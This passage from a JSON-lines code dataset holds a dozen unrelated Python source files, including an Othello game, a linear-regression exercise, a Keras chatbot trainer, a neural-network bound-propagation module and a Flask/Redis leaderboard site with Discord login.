\n\t\tdelta_sell = 0.99\n\t\t)\n\t\n\ttradebot.trade_loop()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"582558278","text":"import datetime\nfrom moves_manager import MovesManager\nfrom board_marker import BoardMarker\nfrom settings import Settings\nfrom player import Player\n\n\nclass Game:\n def __init__(self, board, human_starts):\n self.board = board\n if human_starts:\n self.player1 = Player(\"Computer\", Settings.p1_token)\n self.player2 = Player(\"Human\", Settings.p2_token)\n else:\n self.player1 = Player(\"Human\", Settings.p1_token)\n self.player2 = Player(\"Computer\", Settings.p2_token)\n\n self.p1_time_in_each_move = []\n self.p2_time_in_each_move = []\n self.moves_manager = MovesManager(board)\n self.adversarial_search = None\n self.human_starts = human_starts\n\n def append_time(self, player, stop, start):\n response_time = stop - start if stop - start >= 0 else 0\n if player == self.player1:\n self.p1_time_in_each_move.append(response_time)\n else:\n self.p2_time_in_each_move.append(response_time)\n return response_time\n\n def setup_players(self):\n self.player1.tokens_on_board.append((3, 3))\n self.player1.tokens_on_board.append((4, 4))\n self.player2.tokens_on_board.append((3, 4))\n self.player2.tokens_on_board.append((4, 3))\n\n def change_turn_player(self, player_on_turn):\n return (self.player1, self.player2) if player_on_turn != self.player1 else (self.player2, self.player1)\n\n def match(self):\n turn_number = 1\n self.board.turns_number = turn_number\n player_on_turn = self.player2\n player_enemy = self.player1\n no_more_moves = False\n response_time = None\n computer_turn = not self.human_starts\n while True:\n start = datetime.datetime.now().second\n\n possible_moves = self.moves_manager.get_possible_moves(player_on_turn)\n player_on_turn.possible_moves = possible_moves\n self.display_possible_moves(possible_moves, turn_number, response_time, player_on_turn, player_enemy)\n\n if len(possible_moves) <= 0 and no_more_moves == False:\n # Stop Time\n response_time = self.append_time(player_on_turn, datetime.datetime.now().second, start)\n\n # Change player\n player_on_turn, player_enemy = self.change_turn_player(player_on_turn)\n\n no_more_moves = True\n turn_number += 1\n self.board.turns_number = turn_number\n computer_turn = not computer_turn\n continue\n\n if len(possible_moves) <= 0 and no_more_moves:\n break\n # make move\n self.moves_manager.make_move(player_on_turn, possible_moves, player_enemy, computer_turn)\n\n # Stop Time\n response_time = self.append_time(player_on_turn, datetime.datetime.now().second, start)\n\n # Prepare board for the next turn\n\n # Change player\n player_on_turn, player_enemy = self.change_turn_player(player_on_turn)\n computer_turn = not computer_turn\n no_more_moves = False\n turn_number += 1\n self.board.turns_number = turn_number\n\n def display_possible_moves(self, possible_moves, turn_number, response_time, player_on_turn, player_enemy):\n BoardMarker.mark_possible_moves(self.board, possible_moves)\n self.board.display(turn_number, response_time, player_on_turn, player_enemy)\n BoardMarker.uncheck_possible_moves(self.board, possible_moves)\n\n def display_results(self):\n p1_score = len(self.player1.tokens_on_board)\n p2_score = len(self.player2.tokens_on_board)\n print(\"Scores:\")\n print(\n f\"Player: {self.player1.name}\\t Score: {p1_score}\\t Time response average: {sum(self.p1_time_in_each_move) / len(self.p1_time_in_each_move)} [microseconds]\")\n # print(f\"Player 1: Time in each turn: {self.p1_time_in_each_move}\")\n\n print(\n f\"Player: {self.player2.name}\\t Score: {p2_score}\\t Time response average: {sum(self.p2_time_in_each_move) / len(self.p2_time_in_each_move)} [microseconds]\")\n # print(f\"Player 2: Time in each turn: {self.p2_time_in_each_move}\")\n\n print(\n f\"-> WINNER: {self.player1.name if p1_score > p2_score else self.player2.name if p2_score > p1_score else 'TIE'} \")\n\n def play(self):\n self.setup_players() # Distribute tokens\n self.moves_manager.player1 = self.player1\n self.moves_manager.player2 = self.player2\n\n self.match()\n self.display_results()\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":4612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"413643882","text":"#!/bin/python3\n\nfrom geneticSelectors.selector import Selector\nimport math\n\nclass EliteSelector(Selector):\n def __init__(self, N):\n super().__init__(N)\n \n def select(self, group, K):\n sortedGroup = sorted(group, reverse=True)\n sortedGroup\n ns = [math.ceil((self.N-i)/self.N) for i, element in enumerate(sortedGroup)]\n newArray = []\n i = 0\n while i < len(ns) and len(newArray) < self.N:\n for j in range(ns[i]):\n newArray.append(sortedGroup[i])\n i += 1\n return newArray","sub_path":"TP2/geneticSelectors/eliteSelector.py","file_name":"eliteSelector.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"153868600","text":"def obeyingTheSwimLimit(intake):\r\n \r\n food = {\"Banana\": 100, \"Apple\" : 80, \"Pizza\": 300, \"Chocolate\": 500, \"Roast Beef\": 850, \"Milk\": 110,\"Chicken\": 300, \"Deluxe Burger\": 1000}\r\n \r\n s = sum([food[i] for i in intake])\r\n if( s <= 600):\r\n return 0\r\n if(s > 600 and s <= 1400):\r\n return 15\r\n if(s > 1400 and s <= 2000):\r\n return 30\r\n if(s > 2000):\r\n return 60\r\n\r\n \r\n \r\n\r\n\r\n","sub_path":"Codefights/obeyingTheSwimLimit.py","file_name":"obeyingTheSwimLimit.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"523663991","text":"import xml.etree.ElementTree as ET\nimport pandas as pd\nimport os\n\n\ndef xmldata(fileName, xml_data):\n parsed_xml = ET.parse(fileName)\n root = parsed_xml.getroot()\n print(fileName)\n dataFrameColumnsE = ['Document_id', 'Sentence_ID','Sentence', 'Entity_Id', 'Entity_Text']\n dataFrameColumnsP = ['Document_id', 'Sentence_ID','Sentence', 'Pair_Id', 'E2', 'E1', 'DDI']\n dataFrameColumns = ['Document_id', 'Sentence_ID','Sentence', 'Entity_Id', 'Entity_Text',\n 'Pair_Id', 'E2', 'E1', 'DDI']\n xml_data_temp = pd.DataFrame(columns=dataFrameColumns)\n xml_dataE = pd.DataFrame(columns=dataFrameColumnsE)\n xml_dataP = pd.DataFrame(columns=dataFrameColumnsP)\n sentencesNode = root.findall('sentence')\n for sentence in sentencesNode:\n for node in sentence:\n if node.tag == 'entity':\n\n xml_dataE = xml_dataE.append(pd.Series([root.attrib.get('id'), sentence.attrib.get('id'),\n sentence.attrib.get('text'),\n node.attrib.get('id'), node.attrib.get('text')],\n index=dataFrameColumnsE), ignore_index=True\n )\n elif node.tag == 'pair':\n\n xml_dataP = xml_dataP.append(pd.Series([root.attrib.get('id'), sentence.attrib.get('id'),\n sentence.attrib.get('text'),\n node.attrib.get('id'), node.attrib.get('e2'),\n node.attrib.get('e1'), node.attrib.get('ddi')],\n index=dataFrameColumnsP), ignore_index=True)\n xml_data_temp = pd.merge(xml_dataP, xml_dataE,on=['Document_id', 'Sentence_ID'])\n xml_data = pd.concat([xml_data, xml_data_temp], axis=0, ignore_index=True, sort=False)\n return xml_data\n\n\nPath = \"D:/University/Sem1/Linguistics/Project/drugbank_all_full_database/semeval_task9_train_pair/Train/DrugBank\"\nfilelist = os.listdir(Path)\n\ndataFrameColumns = ['Document_id', 'Sentence_ID','Sentence', 'Entity_Id', 'Entity_Text',\n 'Pair_Id', 'E2', 'E1', 'DDI']\nxml_data = pd.DataFrame(columns=dataFrameColumns)\nprint(\"No of Drug Files in DrugBank Database: \", len(filelist))\n# count = 0\nfor i in filelist:\n if i.endswith(\".xml\"):\n # if count < 1:\n xml_data = xmldata(\"Train/DrugBank/\" + i, xml_data)\n # count += 1\n\n# Path = \"D:/University/Sem1/Linguistics/Project/drugbank_all_full_database/semeval_task9_train_pair/Train/MedLine\"\n# filelist = os.listdir(Path)\n#\n# print(\"No of Drug Files in MedLine Database: \", len(filelist))\n# # count = 0\n# for i in filelist:\n# if i.endswith(\".xml\"):\n# # if count < 1:\n# xml_data = xmldata(\"Train/MedLine/\" + i, xml_data)\n# # count += 1\n\nprint(\"writing excel file\")\nwriter = pd.ExcelWriter(\"merged1.xlsx\")\nxml_data.to_excel(writer, 'sheet1')\nwriter.save()\n","sub_path":"drugbank_all_full_database/semeval_task9_train_pair/trainTestCompare.py","file_name":"trainTestCompare.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"184317696","text":"import urllib.request\nimport os\nimport re\n\nfile = open('html.txt', 'w')\nhtml = urllib.request.urlopen('http://python.org/').read()\nfile.write(str(html))\nprint('HTML Salvo')\n\n\npat = re.compile('
(.+?)')\n\nurl = 'http://www.infolanka.com/miyuru_gee/art/art.html'\n\nsock = urllib.request.urlopen(url).read().decode(\"utf-8\")\n\nli = pat.findall(sock)\n\nprint(li)\n","sub_path":"Python/Scripts/url.py","file_name":"url.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"606542532","text":"from Utils import *\n\n\nclass Bound:\n def __init__(self, upper_bounds, lower_bounds):\n self.upper_bounds = upper_bounds\n self.lower_bounds = lower_bounds\n\n\ndef relu(x):\n return np.maximum(x, 0)\n\n\ndef IBP(bound, weights, bias):\n x_max = [bound.upper_bounds]\n x_min = [bound.lower_bounds]\n y_min = []\n y_max = []\n pre_activation_bounds = []\n activation_bounds = [bound]\n for i in range(len(weights)):\n y_min.append(np.matmul(np.maximum(weights[i], np.zeros_like(weights[i])), x_min[i]) + np.matmul(\n np.minimum(weights[i], np.zeros_like(weights[i])), x_max[i]) + bias[i])\n y_max.append(np.matmul(np.minimum(weights[i], np.zeros_like(weights[i])), x_min[i]) + np.matmul(\n np.maximum(weights[i], np.zeros_like(weights[i])), x_max[i]) + bias[i])\n pre_activation_bounds.append(Bound(y_max[-1], y_min[-1]))\n if i < len(weights) - 1:\n x_max.append(relu(y_max[i]))\n x_min.append(relu(y_min[i]))\n activation_bounds.append(Bound(x_max[-1], x_min[-1]))\n return pre_activation_bounds, activation_bounds\n\n\ndef compute_alpha(upper, lower):\n ret = np.ones(len(upper))\n upper_squeeze = np.squeeze(np.array(upper), axis=1)\n lower_squeeze = np.absolute(np.squeeze(np.array(lower), axis=1))\n ret[np.greater(upper_squeeze, lower_squeeze)] = 1\n ret[np.greater(lower_squeeze, upper_squeeze)] = 0\n return ret\n\n\ndef compute_alpha_l(lower, upper):\n ret = np.zeros_like(lower)\n ret[upper > np.absolute(lower)] = 1\n return ret\n\n\ndef compute_linear_bounds(pre_activation_bounds, dims):\n lower = pre_activation_bounds.lower_bounds\n upper = pre_activation_bounds.upper_bounds\n\n alpha_u_item = (upper / (upper - lower))\n alpha_u_item[upper < 0] = 0\n alpha_u_item[lower >= 0] = 1\n alpha_u_item = alpha_u_item.T\n\n beta_u_item = -lower\n beta_u_item[upper < 0] = 0\n beta_u_item[lower >= 0] = 0\n beta_u_item = beta_u_item.T\n\n alpha_l_item = compute_alpha_l(lower, upper)\n alpha_l_item[upper < 0] = 0\n alpha_l_item[lower >= 0] = 1\n alpha_l_item = alpha_l_item.T\n\n beta_l_item = np.zeros_like(lower)\n beta_l_item[upper < 0] = 0\n beta_l_item[lower >= 0] = 0\n beta_l_item = beta_l_item.T\n\n alpha_u = np.matmul(np.ones((dims[0], 1)), alpha_u_item)\n beta_u = np.matmul(np.ones((dims[0], 1)), beta_u_item)\n alpha_l = np.matmul(np.ones((dims[0], 1)), alpha_l_item)\n beta_l = np.matmul(np.ones((dims[0], 1)), beta_l_item)\n\n return alpha_l, beta_l, alpha_u, beta_u\n\n\ndef bound_prop(weights, bias, x, epsilon, input_bounds):\n Y_min = []\n Y_max = []\n X_min = []\n X_max = []\n upper_bounds = np.minimum(x + epsilon, input_bounds[1])\n lower_bounds = np.maximum(x - epsilon, input_bounds[0])\n initial_bound = Bound(upper_bounds, lower_bounds)\n pre_activation_bounds, activation_bounds = IBP(initial_bound, weights, bias)\n\n for layer in range(len(weights)):\n upper_, lower_ = bound_prop_specific_layer(weights[:layer + 1], bias[:layer + 1], pre_activation_bounds,\n upper_bounds, lower_bounds)\n Y_min.append(lower_)\n Y_max.append(upper_)\n X_min.append(relu(lower_))\n X_max.append(relu(upper_))\n return Y_min, Y_max, X_min, X_max\n\n\ndef bound_prop_specific_layer(weights, bias, pre_activation_bounds, upper_bounds, lower_bounds):\n # print(pre_activation_bounds[layer].upper_bounds)\n # print(pre_activation_bounds[layer].lower_bounds)\n\n # global values\n lambdas_ = []\n deltas_ = []\n Lambdas_ = []\n Omegas_ = []\n omegas_ = []\n thetas_ = []\n\n # initialize\n Lambda = np.eye(weights[-1].shape[0])\n Omega = np.eye(weights[-1].shape[0])\n current_weight = weights[-1]\n temp_dims = (weights[-1].shape[0], current_weight.shape[-1])\n\n deltas_.append(np.zeros((weights[-1].shape[0], weights[-1].shape[0])))\n thetas_.append(np.zeros((weights[-1].shape[0], weights[-1].shape[0])))\n Lambdas_.append(Lambda)\n Omegas_.append(Omega)\n\n for i in range(len(weights) - 1, 0, -1):\n # from layer m-1 to 1\n lambda_ = np.zeros(temp_dims)\n delta_ = np.zeros(temp_dims)\n omega_ = np.zeros(temp_dims)\n theta_ = np.zeros(temp_dims)\n\n alpha_l, beta_l, alpha_u, beta_u = compute_linear_bounds(pre_activation_bounds[i - 1], temp_dims)\n # if k != 0\n lambda_[np.matmul(Lambda, current_weight) < 0] = alpha_l[np.matmul(Lambda, current_weight) < 0]\n lambda_[np.matmul(Lambda, current_weight) >= 0] = alpha_u[np.matmul(Lambda, current_weight) >= 0]\n omega_[np.matmul(Omega, current_weight) < 0] = alpha_u[np.matmul(Omega, current_weight) < 0]\n omega_[np.matmul(Omega, current_weight) >= 0] = alpha_l[np.matmul(Omega, current_weight) >= 0]\n\n lambdas_.append(lambda_)\n omegas_.append(omega_)\n\n delta_[np.matmul(Lambda, current_weight) < 0] = beta_l[np.matmul(Lambda, current_weight) < 0]\n delta_[np.matmul(Lambda, current_weight) >= 0] = beta_u[np.matmul(Lambda, current_weight) >= 0]\n theta_[np.matmul(Omega, current_weight) < 0] = beta_u[np.matmul(Omega, current_weight) < 0]\n theta_[np.matmul(Omega, current_weight) >= 0] = beta_l[np.matmul(Omega, current_weight) >= 0]\n\n deltas_.append(delta_.T)\n thetas_.append(theta_.T)\n\n # print(np.matmul(Lambda, current_weight).shape)\n # print(lambda_.shape)\n\n # update\n Lambda = np.matmul(Lambda, current_weight) * lambda_\n Lambdas_.append(Lambda)\n Omega = np.matmul(Omega, current_weight) * omega_\n Omegas_.append(Omega)\n current_weight = weights[i - 1]\n temp_dims = (weights[-1].shape[0], current_weight.shape[-1])\n lambdas_.append(np.ones((weights[-1].shape[0], weights[0].shape[-1])))\n Lambdas_.append(np.matmul(Lambda, current_weight) * lambdas_[-1])\n omegas_.append(np.ones((weights[-1].shape[0], weights[0].shape[-1])))\n Omegas_.append(np.matmul(Omega, current_weight) * omegas_[-1])\n\n upper_ = 0\n for i in range(0, len(weights)):\n upper_ += np.diag(\n np.matmul(Lambdas_[i], np.matmul(bias[-i - 1], np.ones((1, weights[-1].shape[0]))) + deltas_[i]))\n\n lower_ = 0\n for i in range(0, len(weights)):\n lower_ += np.diag(\n np.matmul(Omegas_[i], np.matmul(bias[-i - 1], np.ones((1, weights[-1].shape[0]))) + thetas_[i]))\n\n upper_ += np.squeeze(np.matmul(Lambdas_[-1], upper_bounds), axis=1)\n lower_ += np.squeeze(np.matmul(Omegas_[-1], lower_bounds), axis=1)\n\n return upper_, lower_\n","sub_path":"boundprop.py","file_name":"boundprop.py","file_ext":"py","file_size_in_byte":6588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"335218475","text":"print(\"lets practice\")\nprint('you\\'d need to know \\'bout escapes with \\\\ that do \\n newlines and \\t tabs.') \n\npoem = \"\"\"\n\\tThe lovely world\nwith login so firmly planted\ncannot discern \\n the needs of love\nnor comprehend passion from intuition\nand requires an explanation\n\\n\\t\\twhere there is none.\n\"\"\"\n\nprint(\"-------------\")\nprint(poem)\nprint(\"-------------\")\n\n\nfive = 10 - 2 + 3 - 6\nprint(\"this should be five: %s\" % five)\n\ndef secret_formula(started):\n\tjelly_beans = started * 500\n\tjars = jelly_beans / 1000\n\tcrates = jars / 100\n\treturn jelly_beans, jars, crates\n\nstarted = 10000\nbeans, jars, crates = secret_formula(started)\n\nprint(\"with starting point of: %d \" % started)\nprint(\"we would have %d beans, %d jars, and %d crates. \" % (beans, jars, crates))\n\na_test = started / 10\n\nprint(\"we can also do it this way:\")\nprint(\"We woudl have %d beans, %d jars, %d crates.\" % secret_formula(a_test))\n","sub_path":"ex24_hardpython.py","file_name":"ex24_hardpython.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"622373259","text":"# This script implement univariate and multivariate linear regression model\n# Lucius Luo. Sept 27, 2018\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom mpl_toolkits.mplot3d import Axes3D\n\n\n\ndef computeCost(x, y, theta):\n # num of training examples\n m = len(y)\n\n # Initialize J and compute for its correct value\n J = 0\n for i in range(m):\n J += (np.matmul(x[i, :], theta) - y[i])**2\n\n J = J/(2*m)\n\n return J\n\n\ndef gradientDescent(x, y, theta, alpha, num_iters):\n # Initialize several vals\n m = len(y)\n J_history = np.zeros((num_iters,1))\n\n # Calculating the cost function and single step gradient descent\n for iter in range(num_iters):\n sum1 = 0\n sum2 = 0\n # Calculating the Sigmas of part of the derivatives of J(theta)\n for i in range(m):\n sum1 += (np.matmul(x[i,:],theta) - y[i]) * x[i,0]\n sum2 += (np.matmul(x[i,:],theta) - y[i]) * x[i,1]\n\n # Updating parameters\n theta[0] -= (alpha * sum1 / m)\n theta[1] -= (alpha * sum2 / m)\n\n # Store the J into J_history\n J_history[iter] = computeCost(x, y, theta)\n\n return\n\n\ndef ex1():\n\n #-----------------Part1: Read file-------------------------------------------\n\n file = open(\"ex1data1.txt\",\"r\")\n all_lines = file.readlines()\n x = []\n y = []\n\n for each_line in all_lines:\n each_line = each_line.strip(\"\\n\")\n spl = (each_line.split(','))\n x.append(float(spl[0]))\n y.append(float(spl[1]))\n file.close()\n\n #-----------------Part2 : Plotting -------------------------------------------\n\n m = len(y)\n x = np.transpose(x)\n plt.figure(1)\n plt.scatter(x, y, color='red', marker='x', label='Training data')\n plt.xlabel(\"Profits in $10,000s\")\n plt.ylabel(\"Population of City in 10,000s\")\n plt.show()\n\n #-----------------Part3: Cost and Gradient------------------------------------\n\n x_ones = np.ones((m, 1))\n x = np.c_[x_ones, x]\n theta = [0, 0]\n iterations = 1500\n alpha = 0.01\n\n print(\"\\nTesting the cost function...\\n\")\n J = computeCost(x, y, theta)\n print(\"With theta = [0 ; 0]\\nCost computed =\\n\",J)\n print('Expected cost value (approx) 32.07\\n')\n\n # Further testing of the cost function\n J = computeCost(x, y, [-1,2])\n print(\"With thetha = [-1 ; 2]\\nCost computed =\\n\",J)\n print(\"Expected cost value (approx) 54.24\\n\")\n\n print('\\nRunning Gradient Descent ...\\n')\n\n # Print theta to screen\n gradientDescent(x, y, theta, alpha, iterations)\n print(\"\\nTheta found by gradient descent:\\n\")\n print(theta)\n plt.figure(1)\n plt.plot(x[:, 1], np.matmul(x, theta), linestyle='-', label='Linear regression')\n plt.legend(loc='upper left', frameon='False')\n\n # Predict values for population sizes of 35,000 and 70,000\n predict1 = np.matmul([1, 3.5],theta)\n print('For popution = 35,000, we predict\\n', predict1*1000)\n predict2 = np.matmul([1, 7],theta)\n print('For popution = 35,000, we predict\\n', predict2 * 1000)\n\n # Visualizing J(theta_0, theta_1)\n print(\"Visualizing J(theta_0, theta_1) ...\\n\")\n theta0_vals = np.linspace(-10, 10, 1000)\n theta1_vals = np.linspace(-1, 4, 100)\n\n # Initialize J_vals to a matrix of 0's\n J_vals = np.zeros([len(theta0_vals), len(theta1_vals)])\n\n # Fill out J_vals\n for i in range(len(theta0_vals)):\n for j in range(len(theta1_vals)):\n t = ([theta0_vals[i]], [theta1_vals[j]])\n J_vals[i, j] = computeCost(x, y, t)\n\n # Plot the surface formed by theta0_vals, theta1_vals, and J_vals\n #J_vals = np.transpose(J_vals)\n\n \"\"\"\"\n Code below demo how to plot 3-d surface\n \"\"\"\n plt.close()\n fig = plt.figure(2)\n ax = fig.gca(projection='3d')\n theta0_vals_3d, theta1_vals_3d = np.meshgrid(theta0_vals, theta1_vals)\n ax.plot_surface(theta0_vals_3d, theta1_vals_3d, J_vals)\n ax.set_xlabel('theta_0')\n ax.set_ylabel('theta_1')\n plt.show()\n\n\n\nex1()\n","sub_path":"CS229ex-python/ex1/ex1_02.py","file_name":"ex1_02.py","file_ext":"py","file_size_in_byte":3981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"350055711","text":"import nltk\nfrom nltk.stem import WordNetLemmatizer\nlemmatizer = WordNetLemmatizer()\nimport string\nimport json\nimport pickle\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation, Dropout\nfrom keras.optimizers import SGD\nimport random\n\nwords=[]\nclasses = []\ndocuments = []\ndata_file = open('C:/Users/errza/OneDrive/Bureau/PFE_FILES_FIN/PFE.json').read()\nintents = json.loads(data_file)\n\nfor intent in intents['intents']:\n for pattern in intent['patterns']:\n\n #tokenize Chaque mot\n w = nltk.word_tokenize(pattern)\n words.extend(w)\n #ajouter dans documents questions et ses tag\n documents.append((w, intent['tag']))\n\n # ajouter les tag dans classes\n if intent['tag'] not in classes:\n classes.append(intent['tag'])\n\n# lemmaztize et lower et supprimer ponctuations de chaque mot et supprimer les doublons\nwords = [lemmatizer.lemmatize(w.lower()) for w in words if w not in string.punctuation]\nwords = sorted(list(set(words)))\n# sorter classes\nclasses = sorted(list(set(classes)))\n# documents = combinaison entre questions et tags\nprint (len(documents), \"documents\")\n# classes = tags\nprint (len(classes), \"classes\", classes)\n# words = tout les mots de questions aprés prétraitement\nprint (len(words), \"unique lemmatized words\", words)\n\n#sauvegarder words et classes\npickle.dump(words,open('C:/Users/errza/OneDrive/Bureau/PFE_FILES_FIN/PFEwords.pkl','wb'))\npickle.dump(classes,open('C:/Users/errza/OneDrive/Bureau/PFE_FILES_FIN/PFEclasses.pkl','wb'))\n\n# créer notre training data\ntraining = []\n# créer un tableau vide pour notre output\noutput_empty = [0] * len(classes)\n# training, bag des mots pour chaque phrase(question) : binaire \nfor doc in documents:\n # initialiser notre bag des mots\n bag = []\n # créer liste des questions(pattern) prétraiter\n pattern_words = doc[0]\n # lemmatize chaque mot - créer la base de mot\n pattern_words = [lemmatizer.lemmatize(word.lower()) for word in pattern_words]\n # créer notre bag de mots : tableau prend 1 pour mots trouver dans notre question courant et 0 pour les autres mots\n for w in words:\n bag.append(1) if w in pattern_words else bag.append(0)\n \n # out pour 0 pour tout les tags et 1 pour le tag courant(actuelle)\n output_row = list(output_empty)\n output_row[classes.index(doc[1])] = 1\n \n training.append([bag, output_row])\n \n# shuffle les lignes de notre training pour avoir des résultat différent pour chaque training et changer en np.array(matrice)\nrandom.shuffle(training)\ntraining = np.array(training) #pour le rendre sous forme de matrice\n# create train x(question) et y(tag). X -pattern(r)=question (bag), Y - tag (output_row)\ntrain_x = list(training[:,0])\ntrain_y = list(training[:,1])\nprint(\"Training data created\")\n\n#Créer un modèle - 3 couches. La première couche 128 neurones, la deuxième couche 64 neurones et la troisième couche de sortie\n#contiennent un nombre de neurones égal au nombre des tags pour prédire le tag de sortie avec softmax: dans notre cas 133 tag\nmodel = Sequential() # model de keras faire organiser les couches\nmodel.add(Dense(128, input_shape=(len(train_x[0]),), activation='relu')) # relu pour rendre les valeurs négative à 0 et pour étre une fonction linéaire\nmodel.add(Dropout(0.5)) # une couche d'abandon ignore un ensemble de neurones (au hasard) , ce qui permet d'éviter le surapprentissage.\nmodel.add(Dense(64, activation='relu')) # Une couche dense est une couche de réseau neuronal classique entièrement connectée: chaque nœud d'entrée est connecté à chaque nœud de sortie.\nmodel.add(Dropout(0.5))\nmodel.add(Dense(len(train_y[0]), activation='softmax')) # softmax pour faire prédiction de 0 à 1 utilisé pour multiple classes\n\n# Compiler model. Stochastic gradient descent avec Nesterov accéléré le gradient et donne de bons résultats pour le model\nsgd = SGD(lr=0.01, decay=1e-6, momentum=0.9, nesterov=True) # utilisée pour l'optimisation d'une fonction objectif.\nmodel.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['accuracy']) # S'il s'agit d'un problème multiclasse, vous devez utiliser categorical_crossentropy. Les étiquettes doivent également être converties au format catégoriel.\n#training(en donne le input) et sauvegarder le model\nhist = model.fit(np.array(train_x), np.array(train_y), epochs=2150, batch_size=30, verbose=1) \nmodel.save('C:/Users/errza/OneDrive/Bureau/PFE_FILES_FIN/PFEchatbot_model.h5', hist)\n\nprint(\"model created\")\n","sub_path":"Back_End/Results/train_chatbot.py","file_name":"train_chatbot.py","file_ext":"py","file_size_in_byte":4550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"44556926","text":"from flask import Flask, session, request, url_for, render_template, redirect, \\\njsonify, make_response, flash, abort, Response\nimport os\nfrom functools import wraps\nfrom requests_oauthlib import OAuth2Session\nimport redis\nimport binascii\n\n\ndb = redis.Redis(host='localhost',decode_responses=True,db=2)\n\napp = Flask(__name__)\n\n\n# CSRF\n@app.before_request\ndef csrf_protect():\n if request.method == \"POST\":\n token = session.pop('_csrf_token', None)\n if not token or token != request.form.get('_csrf_token'):\n abort(403)\n\ndef generate_csrf_token():\n if '_csrf_token' not in session:\n session['_csrf_token'] = str(binascii.hexlify(os.urandom(15)))\n return session['_csrf_token']\n\napp.jinja_env.globals['csrf_token'] = generate_csrf_token\n\ndef token_updater(token):\n session['oauth2_token'] = token\n\ndef require_auth(f):\n @wraps(f)\n def wrapper(*args, **kwargs):\n user = session.get('user')\n if user is None:\n return redirect(url_for('login'))\n\n return f(*args, **kwargs)\n return wrapper\n\ndef make_session(token=None, state=None, scope=None):\n pass\n return OAuth2Session( #Need to work on this soon ASAP.\n client_id=OAUTH2_CLIENT_ID,\n token=token,\n state=state,\n scope=scope,\n redirect_uri=OAUTH2_REDIRECT_URI,\n auto_refresh_kwargs={\n 'client_id': OAUTH2_CLIENT_ID,\n 'client_secret': OAUTH2_CLIENT_SECRET,\n },\n auto_refresh_url=TOKEN_URL,\n token_updater=token_updater)\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n@app.route('/about')\ndef about():\n return render_template('about.html')\n\n@app.route('/logout')\ndef logout():\n session.pop('user')\n\n return redirect(url_for('index'))\n@app.route('/login')\ndef login():\n user = session.get('user')\n if user is not None:\n return redirect(url_for('select_server'))\n\n scope = 'identify guilds'.split()\n discord = make_session(scope=scope)\n authorization_url, state = discord.authorization_url(AUTHORIZATION_BASE_URL)\n session['oauth2_state'] = state\n return redirect(authorization_url)\n\n@app.route('/levels/')\ndef level(server_ID):\n print(server_ID)\n server = {\n 'id':server_ID,\n 'name':db.get(\"{}:Level:Server_Name\".format(server_ID)),\n 'icon':db.get(\"{}:Level:Server_Icon\".format(server_ID))\n }\n player_data = db.sort(\"{}:Level:Player\".format(server_ID), by=\"{}:Level:Player:*->Total_XP\".format(server_ID), get=[\n \"{}:Level:Player:*->Name\".format(server_ID),\n \"{}:Level:Player:*->ID\".format(server_ID),\n \"{}:Level:Player:*->Level\".format(server_ID),\n \"{}:Level:Player:*->XP\".format(server_ID),\n \"{}:Level:Player:*->Next_XP\".format(server_ID),\n \"{}:Level:Player:*->Total_XP\".format(server_ID),\n \"{}:Level:Player:*->Discriminator\".format(server_ID),\n \"{}:Level:Player:*->Avatar\".format(server_ID),\n \"{}:Level:Player:*->Total_Traits_Points\"], start=0, num=10, desc=True)\n data = []\n for x in range(0,len(player_data),9):\n temp = {\n \"Name\":player_data[x],\n \"ID\":player_data[x+1],\n \"Level\":player_data[x+2],\n \"XP\":player_data[x+3],\n \"Next_XP\":player_data[x+4],\n \"Total_XP\":player_data[x+5],\n \"Discriminator\":player_data[x+6],\n \"Avatar\":player_data[x+7],\n \"Total_Traits\":player_data[x+8],\n \"XP_Percent\":100*(float(player_data[x+3])/float(player_data[x+4]))\n }\n data.append(temp)\n #Those are for Website\n return render_template('levels.html', players=data, server=server, title=\"{} leaderboard - Mee6 bot\".format(server['name']))\n\n\nif __name__=='__main__':\n app.debug = True\n app.run()","sub_path":"Site/Site.py","file_name":"Site.py","file_ext":"py","file_size_in_byte":4701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"116826629","text":"\nimport numpy as np\nimport pandas as pd\n\n\ndef get_new_population(**kwargs):\n\n num_individuals = kwargs['num_individuals']\n GeneticOptimizer = kwargs['GeneticOptimizer']\n\n return [GeneticOptimizer.get_random_parameters() for i in range(num_individuals)]\n\n\ndef calc_fitness(**kwargs):\n\n parameter_vector = kwargs['parameter_vector']\n GeneticOptimizer = kwargs['GeneticOptimizer']\n return GeneticOptimizer.get_fitness(parameter_vector)\n\n\ndef crossover(**kwargs):\n\n parent_list = kwargs['parent_list']\n offspring_size = kwargs['offspring_size']\n\n num_genes = len(parent_list[0])\n gene_list = list(range(num_genes))\n num_parents = len(parent_list)\n first_parent_num_genes = round(num_genes/2)\n\n offspring_list = []\n\n for k in range(offspring_size):\n\n parent1_genes = parent_list[k % num_parents]\n parent2_genes = parent_list[(k+1) % num_parents]\n child_genes = []\n\n first_parent_gene_list = np.random.choice(gene_list, first_parent_num_genes)\n\n for i in range(num_genes):\n\n if i in first_parent_gene_list:\n child_genes.append(parent1_genes[i])\n else:\n child_genes.append(parent2_genes[i])\n\n 